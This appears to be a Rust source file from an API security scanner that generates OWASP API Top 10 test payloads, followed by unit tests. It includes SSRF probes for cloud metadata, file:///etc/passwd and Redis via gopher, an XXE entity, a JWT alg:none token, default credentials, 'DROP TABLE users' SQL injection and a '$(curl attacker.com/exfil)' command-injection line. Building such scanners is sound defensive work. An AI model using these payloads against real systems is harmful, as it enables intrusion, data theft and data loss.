use super::categories::OwaspCategory;
use super::config::OwaspApiConfig;
use serde::{Deserialize, Serialize};
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct OwaspPayload {
pub category: OwaspCategory,
pub description: String,
pub value: String,
pub injection_point: InjectionPoint,
pub expected_if_vulnerable: ExpectedBehavior,
#[serde(default)]
pub notes: Option<String>,
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum InjectionPoint {
PathParam,
QueryParam,
Body,
Header,
Omit,
Modify,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum ExpectedBehavior {
SuccessWhenShouldFail,
UnauthorizedDataAccess,
FieldAccepted,
NoRateLimiting,
InternalDataExposure,
EndpointExists,
MissingSecurityHeaders,
VerboseErrors,
Custom(String),
}
pub struct OwaspPayloadGenerator {
config: OwaspApiConfig,
}
impl OwaspPayloadGenerator {
pub fn new(config: OwaspApiConfig) -> Self {
Self { config }
}
pub fn generate_all(&self) -> Vec<OwaspPayload> {
let mut payloads = Vec::new();
for category in self.config.categories_to_test() {
payloads.extend(self.generate_for_category(category));
}
payloads
}
pub fn generate_for_category(&self, category: OwaspCategory) -> Vec<OwaspPayload> {
match category {
OwaspCategory::Api1Bola => self.generate_bola_payloads(),
OwaspCategory::Api2BrokenAuth => self.generate_auth_payloads(),
OwaspCategory::Api3BrokenObjectProperty => self.generate_property_payloads(),
OwaspCategory::Api4ResourceConsumption => self.generate_resource_payloads(),
OwaspCategory::Api5BrokenFunctionAuth => self.generate_function_auth_payloads(),
OwaspCategory::Api6SensitiveFlows => self.generate_flow_payloads(),
OwaspCategory::Api7Ssrf => self.generate_ssrf_payloads(),
OwaspCategory::Api8Misconfiguration => self.generate_misconfig_payloads(),
OwaspCategory::Api9ImproperInventory => self.generate_discovery_payloads(),
OwaspCategory::Api10UnsafeConsumption => self.generate_unsafe_consumption_payloads(),
}
}
fn generate_bola_payloads(&self) -> Vec<OwaspPayload> {
vec![
OwaspPayload {
category: OwaspCategory::Api1Bola,
description: "ID increment by 1".to_string(),
value: "{{original_id + 1}}".to_string(),
injection_point: InjectionPoint::PathParam,
expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
notes: Some("Replace ID with ID+1 to access other user's resource".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api1Bola,
description: "ID decrement by 1".to_string(),
value: "{{original_id - 1}}".to_string(),
injection_point: InjectionPoint::PathParam,
expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
notes: Some("Replace ID with ID-1 to access other user's resource".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api1Bola,
description: "First user ID (0)".to_string(),
value: "0".to_string(),
injection_point: InjectionPoint::PathParam,
expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
notes: Some("Try accessing resource with ID 0".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api1Bola,
description: "First user ID (1)".to_string(),
value: "1".to_string(),
injection_point: InjectionPoint::PathParam,
expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
notes: Some("Try accessing resource with ID 1 (often admin)".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api1Bola,
description: "Negative ID".to_string(),
value: "-1".to_string(),
injection_point: InjectionPoint::PathParam,
expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
notes: Some("Try accessing resource with negative ID".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api1Bola,
description: "Large ID".to_string(),
value: "999999999".to_string(),
injection_point: InjectionPoint::PathParam,
expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
notes: None,
},
OwaspPayload {
category: OwaspCategory::Api1Bola,
description: "Null UUID".to_string(),
value: "00000000-0000-0000-0000-000000000000".to_string(),
injection_point: InjectionPoint::PathParam,
expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
notes: Some("Try null UUID which may match admin or default resource".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api1Bola,
description: "All-ones UUID".to_string(),
value: "ffffffff-ffff-ffff-ffff-ffffffffffff".to_string(),
injection_point: InjectionPoint::PathParam,
expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
notes: None,
},
OwaspPayload {
category: OwaspCategory::Api1Bola,
description: "User ID in query parameter".to_string(),
value: "user_id=1".to_string(),
injection_point: InjectionPoint::QueryParam,
expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
notes: Some("Override user context via query parameter".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api1Bola,
description: "Account ID in query parameter".to_string(),
value: "account_id=1".to_string(),
injection_point: InjectionPoint::QueryParam,
expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
notes: None,
},
]
}
fn generate_auth_payloads(&self) -> Vec<OwaspPayload> {
vec![
OwaspPayload {
category: OwaspCategory::Api2BrokenAuth,
description: "No Authorization header".to_string(),
value: "".to_string(),
injection_point: InjectionPoint::Omit,
expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
notes: Some("Remove Authorization header entirely".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api2BrokenAuth,
description: "Empty Bearer token".to_string(),
value: "Bearer ".to_string(),
injection_point: InjectionPoint::Header,
expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
notes: Some("Send Bearer prefix with no token".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api2BrokenAuth,
description: "Invalid token (garbage)".to_string(),
value: "Bearer invalidtoken123".to_string(),
injection_point: InjectionPoint::Header,
expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
notes: None,
},
OwaspPayload {
category: OwaspCategory::Api2BrokenAuth,
description: "JWT alg:none attack".to_string(),
value: "Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.".to_string(),
injection_point: InjectionPoint::Header,
expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
notes: Some("JWT with algorithm set to 'none'".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api2BrokenAuth,
description: "JWT with admin claim".to_string(),
value: "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.stub".to_string(),
injection_point: InjectionPoint::Header,
expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
notes: Some("JWT with role:admin claim (unsigned)".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api2BrokenAuth,
description: "Expired JWT".to_string(),
value: "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwiZXhwIjoxMDAwMDAwMDAwfQ.stub".to_string(),
injection_point: InjectionPoint::Header,
expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
notes: Some("JWT with expired timestamp".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api2BrokenAuth,
description: "Basic auth with admin:admin".to_string(),
value: "Basic YWRtaW46YWRtaW4=".to_string(), injection_point: InjectionPoint::Header,
expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
notes: Some("Common default credentials".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api2BrokenAuth,
description: "Basic auth with admin:password".to_string(),
value: "Basic YWRtaW46cGFzc3dvcmQ=".to_string(), injection_point: InjectionPoint::Header,
expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
notes: None,
},
OwaspPayload {
category: OwaspCategory::Api2BrokenAuth,
description: "Empty API key".to_string(),
value: "".to_string(),
injection_point: InjectionPoint::Header,
expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
notes: Some("X-API-Key header with empty value".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api2BrokenAuth,
description: "Test API key".to_string(),
value: "test".to_string(),
injection_point: InjectionPoint::Header,
expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
notes: Some("Common test/development API key".to_string()),
},
]
}
fn generate_property_payloads(&self) -> Vec<OwaspPayload> {
vec![
OwaspPayload {
category: OwaspCategory::Api3BrokenObjectProperty,
description: "Add admin role".to_string(),
value: r#"{"role": "admin"}"#.to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
notes: Some("Mass assignment of admin role".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api3BrokenObjectProperty,
description: "Set is_admin flag".to_string(),
value: r#"{"is_admin": true}"#.to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
notes: None,
},
OwaspPayload {
category: OwaspCategory::Api3BrokenObjectProperty,
description: "Set isAdmin flag".to_string(),
value: r#"{"isAdmin": true}"#.to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
notes: None,
},
OwaspPayload {
category: OwaspCategory::Api3BrokenObjectProperty,
description: "Set permissions array".to_string(),
value: r#"{"permissions": ["admin", "write", "delete"]}"#.to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
notes: None,
},
OwaspPayload {
category: OwaspCategory::Api3BrokenObjectProperty,
description: "Set verified flag".to_string(),
value: r#"{"verified": true}"#.to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
notes: None,
},
OwaspPayload {
category: OwaspCategory::Api3BrokenObjectProperty,
description: "Set email_verified flag".to_string(),
value: r#"{"email_verified": true}"#.to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
notes: None,
},
OwaspPayload {
category: OwaspCategory::Api3BrokenObjectProperty,
description: "Modify balance".to_string(),
value: r#"{"balance": 999999}"#.to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
notes: Some("Mass assignment of account balance".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api3BrokenObjectProperty,
description: "Modify credits".to_string(),
value: r#"{"credits": 999999}"#.to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
notes: None,
},
OwaspPayload {
category: OwaspCategory::Api3BrokenObjectProperty,
description: "Set price to zero".to_string(),
value: r#"{"price": 0}"#.to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
notes: None,
},
OwaspPayload {
category: OwaspCategory::Api3BrokenObjectProperty,
description: "Set password directly".to_string(),
value: r#"{"password": "newpassword123"}"#.to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
notes: Some("Direct password field assignment".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api3BrokenObjectProperty,
description: "Set password_hash".to_string(),
value: r#"{"password_hash": "$2a$10$attackerhash"}"#.to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
notes: None,
},
OwaspPayload {
category: OwaspCategory::Api3BrokenObjectProperty,
description: "Modify user_id".to_string(),
value: r#"{"user_id": 1}"#.to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
notes: Some("Reassign resource to different user".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api3BrokenObjectProperty,
description: "Modify created_at".to_string(),
value: r#"{"created_at": "2020-01-01T00:00:00Z"}"#.to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
notes: Some("Modify internal timestamp".to_string()),
},
]
}
fn generate_resource_payloads(&self) -> Vec<OwaspPayload> {
vec![
OwaspPayload {
category: OwaspCategory::Api4ResourceConsumption,
description: "Excessive page limit".to_string(),
value: "limit=100000".to_string(),
injection_point: InjectionPoint::QueryParam,
expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
notes: Some("Request excessive records per page".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api4ResourceConsumption,
description: "Alternative limit parameter".to_string(),
value: "per_page=100000".to_string(),
injection_point: InjectionPoint::QueryParam,
expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
notes: None,
},
OwaspPayload {
category: OwaspCategory::Api4ResourceConsumption,
description: "Page size abuse".to_string(),
value: "page_size=100000".to_string(),
injection_point: InjectionPoint::QueryParam,
expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
notes: None,
},
OwaspPayload {
category: OwaspCategory::Api4ResourceConsumption,
description: "Size parameter".to_string(),
value: "size=100000".to_string(),
injection_point: InjectionPoint::QueryParam,
expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
notes: None,
},
OwaspPayload {
category: OwaspCategory::Api4ResourceConsumption,
description: "Negative limit".to_string(),
value: "limit=-1".to_string(),
injection_point: InjectionPoint::QueryParam,
expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
notes: Some("Negative limit may return all records".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api4ResourceConsumption,
description: "Deeply nested JSON".to_string(),
value: Self::generate_deep_json(100),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
notes: Some("100 levels of nesting".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api4ResourceConsumption,
description: "Very long string value".to_string(),
value: format!(r#"{{"data": "{}"}}"#, "A".repeat(100_000)),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
notes: Some("100KB string value".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api4ResourceConsumption,
description: "Large array".to_string(),
value: format!(
r#"{{"items": [{}]}}"#,
(0..10000).map(|i| i.to_string()).collect::<Vec<_>>().join(",")
),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
notes: Some("Array with 10000 elements".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api4ResourceConsumption,
description: "Wildcard expansion".to_string(),
value: "expand=*".to_string(),
injection_point: InjectionPoint::QueryParam,
expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
notes: Some("Expand all nested resources".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api4ResourceConsumption,
description: "Include all relations".to_string(),
value: "include=*".to_string(),
injection_point: InjectionPoint::QueryParam,
expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
notes: None,
},
]
}
fn generate_function_auth_payloads(&self) -> Vec<OwaspPayload> {
let mut payloads = Vec::new();
for path in self.config.all_admin_paths() {
payloads.push(OwaspPayload {
category: OwaspCategory::Api5BrokenFunctionAuth,
description: format!("Access admin path: {}", path),
value: path.to_string(),
injection_point: InjectionPoint::PathParam,
expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
notes: Some("Attempt to access privileged endpoint with regular auth".to_string()),
});
}
payloads.extend(vec![
OwaspPayload {
category: OwaspCategory::Api5BrokenFunctionAuth,
description: "DELETE on read-only resource".to_string(),
value: "DELETE".to_string(),
injection_point: InjectionPoint::Modify,
expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
notes: Some("Try DELETE method on supposedly read-only resource".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api5BrokenFunctionAuth,
description: "PUT on read-only resource".to_string(),
value: "PUT".to_string(),
injection_point: InjectionPoint::Modify,
expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
notes: None,
},
OwaspPayload {
category: OwaspCategory::Api5BrokenFunctionAuth,
description: "PATCH on read-only resource".to_string(),
value: "PATCH".to_string(),
injection_point: InjectionPoint::Modify,
expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
notes: None,
},
]);
payloads
}
fn generate_flow_payloads(&self) -> Vec<OwaspPayload> {
vec![
OwaspPayload {
category: OwaspCategory::Api6SensitiveFlows,
description: "Repeated operation (rate test)".to_string(),
value: "{{repeat:10}}".to_string(),
injection_point: InjectionPoint::Modify,
expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
notes: Some("Execute same operation 10 times rapidly".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api6SensitiveFlows,
description: "Reuse one-time token".to_string(),
value: "{{reuse_token}}".to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
notes: Some("Attempt to reuse a token that should be single-use".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api6SensitiveFlows,
description: "Skip validation step".to_string(),
value: "{{skip_step:validation}}".to_string(),
injection_point: InjectionPoint::Modify,
expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
notes: Some("Skip intermediate validation step in multi-step flow".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api6SensitiveFlows,
description: "Negative quantity".to_string(),
value: r#"{"quantity": -1}"#.to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::Custom(
"Negative quantity accepted".to_string(),
),
notes: Some("Submit negative quantity in purchase/transfer".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api6SensitiveFlows,
description: "Zero price".to_string(),
value: r#"{"price": 0}"#.to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::Custom("Zero price accepted".to_string()),
notes: None,
},
OwaspPayload {
category: OwaspCategory::Api6SensitiveFlows,
description: "Negative amount".to_string(),
value: r#"{"amount": -100}"#.to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::Custom(
"Negative amount accepted".to_string(),
),
notes: Some("Submit negative amount in transfer/payment".to_string()),
},
]
}
fn generate_ssrf_payloads(&self) -> Vec<OwaspPayload> {
let mut payloads = Vec::new();
for url in &self.config.ssrf_config.internal_urls {
payloads.push(OwaspPayload {
category: OwaspCategory::Api7Ssrf,
description: format!("Internal URL: {}", url),
value: url.clone(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
notes: Some("SSRF to internal service".to_string()),
});
}
for url in &self.config.ssrf_config.metadata_urls {
payloads.push(OwaspPayload {
category: OwaspCategory::Api7Ssrf,
description: format!("Cloud metadata: {}", url),
value: url.clone(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
notes: Some("SSRF to cloud metadata endpoint".to_string()),
});
}
payloads.extend(vec![
OwaspPayload {
category: OwaspCategory::Api7Ssrf,
description: "Decimal IP for localhost".to_string(),
value: "http://2130706433/".to_string(), injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
notes: Some("127.0.0.1 encoded as decimal integer".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api7Ssrf,
description: "IPv6 localhost".to_string(),
value: "http://[0:0:0:0:0:0:0:1]/".to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
notes: None,
},
OwaspPayload {
category: OwaspCategory::Api7Ssrf,
description: "Localhost subdomain bypass".to_string(),
value: "http://localhost.attacker.com/".to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
notes: Some("DNS rebinding via attacker-controlled subdomain".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api7Ssrf,
description: "URL with @ bypass".to_string(),
value: "http://attacker.com@127.0.0.1/".to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
notes: Some("URL parser confusion with @ sign".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api7Ssrf,
description: "File protocol".to_string(),
value: "file:///etc/passwd".to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
notes: Some("File protocol SSRF".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api7Ssrf,
description: "Gopher protocol".to_string(),
value: "gopher://127.0.0.1:6379/_INFO".to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
notes: Some("Gopher protocol to internal Redis".to_string()),
},
]);
payloads
}
fn generate_misconfig_payloads(&self) -> Vec<OwaspPayload> {
vec![
OwaspPayload {
category: OwaspCategory::Api8Misconfiguration,
description: "Check X-Content-Type-Options header".to_string(),
value: "X-Content-Type-Options".to_string(),
injection_point: InjectionPoint::Modify,
expected_if_vulnerable: ExpectedBehavior::MissingSecurityHeaders,
notes: Some("Response should include X-Content-Type-Options: nosniff".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api8Misconfiguration,
description: "Check X-Frame-Options header".to_string(),
value: "X-Frame-Options".to_string(),
injection_point: InjectionPoint::Modify,
expected_if_vulnerable: ExpectedBehavior::MissingSecurityHeaders,
notes: Some(
"Response should include X-Frame-Options: DENY or SAMEORIGIN".to_string(),
),
},
OwaspPayload {
category: OwaspCategory::Api8Misconfiguration,
description: "Check Strict-Transport-Security header".to_string(),
value: "Strict-Transport-Security".to_string(),
injection_point: InjectionPoint::Modify,
expected_if_vulnerable: ExpectedBehavior::MissingSecurityHeaders,
notes: Some("HTTPS endpoints should have HSTS header".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api8Misconfiguration,
description: "Check Content-Security-Policy header".to_string(),
value: "Content-Security-Policy".to_string(),
injection_point: InjectionPoint::Modify,
expected_if_vulnerable: ExpectedBehavior::MissingSecurityHeaders,
notes: None,
},
OwaspPayload {
category: OwaspCategory::Api8Misconfiguration,
description: "CORS wildcard check".to_string(),
value: "Origin: https://evil.com".to_string(),
injection_point: InjectionPoint::Header,
expected_if_vulnerable: ExpectedBehavior::Custom(
"ACAO: * or reflecting arbitrary origin".to_string(),
),
notes: Some(
"Check if Access-Control-Allow-Origin allows arbitrary origins".to_string(),
),
},
OwaspPayload {
category: OwaspCategory::Api8Misconfiguration,
description: "CORS null origin".to_string(),
value: "Origin: null".to_string(),
injection_point: InjectionPoint::Header,
expected_if_vulnerable: ExpectedBehavior::Custom("ACAO: null".to_string()),
notes: Some("Check if null origin is reflected".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api8Misconfiguration,
description: "Trigger verbose error".to_string(),
value: r#"{"invalid": "{{INVALID_JSON"#.to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::VerboseErrors,
notes: Some("Send malformed JSON to trigger error response".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api8Misconfiguration,
description: "SQL syntax error trigger".to_string(),
value: "'".to_string(),
injection_point: InjectionPoint::QueryParam,
expected_if_vulnerable: ExpectedBehavior::VerboseErrors,
notes: Some("Check if SQL errors are exposed".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api8Misconfiguration,
description: "Debug mode check".to_string(),
value: "debug=true".to_string(),
injection_point: InjectionPoint::QueryParam,
expected_if_vulnerable: ExpectedBehavior::Custom("Debug info exposed".to_string()),
notes: Some("Check if debug parameter enables additional output".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api8Misconfiguration,
description: "Trace mode check".to_string(),
value: "trace=1".to_string(),
injection_point: InjectionPoint::QueryParam,
expected_if_vulnerable: ExpectedBehavior::Custom("Trace info exposed".to_string()),
notes: None,
},
]
}
fn generate_discovery_payloads(&self) -> Vec<OwaspPayload> {
let mut payloads = Vec::new();
for version in &self.config.discovery_config.api_versions {
payloads.push(OwaspPayload {
category: OwaspCategory::Api9ImproperInventory,
description: format!("Discover API version: {}", version),
value: format!("/{}/", version),
injection_point: InjectionPoint::PathParam,
expected_if_vulnerable: ExpectedBehavior::EndpointExists,
notes: Some("Check for undocumented API version".to_string()),
});
}
for path in &self.config.discovery_config.discovery_paths {
payloads.push(OwaspPayload {
category: OwaspCategory::Api9ImproperInventory,
description: format!("Discover endpoint: {}", path),
value: path.clone(),
injection_point: InjectionPoint::PathParam,
expected_if_vulnerable: ExpectedBehavior::EndpointExists,
notes: Some("Check for undocumented endpoint".to_string()),
});
}
payloads.extend(vec![
OwaspPayload {
category: OwaspCategory::Api9ImproperInventory,
description: "Old API prefix".to_string(),
value: "/old/".to_string(),
injection_point: InjectionPoint::PathParam,
expected_if_vulnerable: ExpectedBehavior::EndpointExists,
notes: None,
},
OwaspPayload {
category: OwaspCategory::Api9ImproperInventory,
description: "Legacy API prefix".to_string(),
value: "/legacy/".to_string(),
injection_point: InjectionPoint::PathParam,
expected_if_vulnerable: ExpectedBehavior::EndpointExists,
notes: None,
},
OwaspPayload {
category: OwaspCategory::Api9ImproperInventory,
description: "Beta API prefix".to_string(),
value: "/beta/".to_string(),
injection_point: InjectionPoint::PathParam,
expected_if_vulnerable: ExpectedBehavior::EndpointExists,
notes: None,
},
OwaspPayload {
category: OwaspCategory::Api9ImproperInventory,
description: "Staging API prefix".to_string(),
value: "/staging/".to_string(),
injection_point: InjectionPoint::PathParam,
expected_if_vulnerable: ExpectedBehavior::EndpointExists,
notes: None,
},
]);
payloads
}
fn generate_unsafe_consumption_payloads(&self) -> Vec<OwaspPayload> {
vec![
OwaspPayload {
category: OwaspCategory::Api10UnsafeConsumption,
description: "Webhook URL injection (internal)".to_string(),
value: r#"{"webhook_url": "http://127.0.0.1:8080/internal"}"#.to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
notes: Some("Inject internal URL as webhook destination".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api10UnsafeConsumption,
description: "Callback URL injection".to_string(),
value: r#"{"callback_url": "http://attacker.com/collect"}"#.to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::Custom("Callback made to attacker".to_string()),
notes: None,
},
OwaspPayload {
category: OwaspCategory::Api10UnsafeConsumption,
description: "SQL injection in third-party field".to_string(),
value: r#"{"external_id": "'; DROP TABLE users;--"}"#.to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::Custom("Payload passed unsanitized".to_string()),
notes: Some("Injection payload in field passed to external service".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api10UnsafeConsumption,
description: "Command injection in integration field".to_string(),
value: r#"{"integration_data": "$(curl attacker.com/exfil)"}"#.to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::Custom("Command execution".to_string()),
notes: None,
},
OwaspPayload {
category: OwaspCategory::Api10UnsafeConsumption,
description: "SSTI in template field".to_string(),
value: r#"{"template": "{{7*7}}"}"#.to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::Custom("Template evaluated (49)".to_string()),
notes: Some("Server-side template injection in field passed downstream".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api10UnsafeConsumption,
description: "XXE in XML field".to_string(),
value: r#"{"xml_data": "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><foo>&xxe;</foo>"}"#.to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
notes: None,
},
OwaspPayload {
category: OwaspCategory::Api10UnsafeConsumption,
description: "Open redirect in return URL".to_string(),
value: r#"{"return_url": "https://evil.com"}"#.to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::Custom("Open redirect".to_string()),
notes: Some("Inject external URL in redirect parameter".to_string()),
},
OwaspPayload {
category: OwaspCategory::Api10UnsafeConsumption,
description: "Open redirect with protocol".to_string(),
value: r#"{"redirect": "javascript:alert(1)"}"#.to_string(),
injection_point: InjectionPoint::Body,
expected_if_vulnerable: ExpectedBehavior::Custom("Dangerous protocol accepted".to_string()),
notes: None,
},
]
}
fn generate_deep_json(depth: usize) -> String {
let mut json = String::from(r#"{"a":"#);
for _ in 0..depth {
json.push_str(r#"{"a":"#);
}
json.push('1');
for _ in 0..=depth {
json.push('}');
}
json
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_generate_all_payloads() {
let config = OwaspApiConfig::default();
let generator = OwaspPayloadGenerator::new(config);
let payloads = generator.generate_all();
assert!(!payloads.is_empty());
let categories: std::collections::HashSet<_> =
payloads.iter().map(|p| p.category).collect();
assert!(categories.len() > 5);
}
#[test]
fn test_generate_bola_payloads() {
let config = OwaspApiConfig::default();
let generator = OwaspPayloadGenerator::new(config);
let payloads = generator.generate_bola_payloads();
assert!(!payloads.is_empty());
assert!(payloads.iter().all(|p| p.category == OwaspCategory::Api1Bola));
}
#[test]
fn test_generate_ssrf_payloads() {
let config = OwaspApiConfig::default();
let generator = OwaspPayloadGenerator::new(config);
let payloads = generator.generate_ssrf_payloads();
assert!(!payloads.is_empty());
assert!(payloads.iter().any(|p| p.value.contains("169.254.169.254")));
}
#[test]
fn test_generate_deep_json() {
let json = OwaspPayloadGenerator::generate_deep_json(3);
assert!(json.contains("\"a\":"));
assert_eq!(json.matches('{').count(), json.matches('}').count());
}
#[test]
fn test_specific_categories() {
let config = OwaspApiConfig::default()
.with_categories([OwaspCategory::Api1Bola, OwaspCategory::Api7Ssrf]);
let generator = OwaspPayloadGenerator::new(config);
let payloads = generator.generate_all();
assert!(payloads.iter().all(
|p| p.category == OwaspCategory::Api1Bola || p.category == OwaspCategory::Api7Ssrf
));
}
}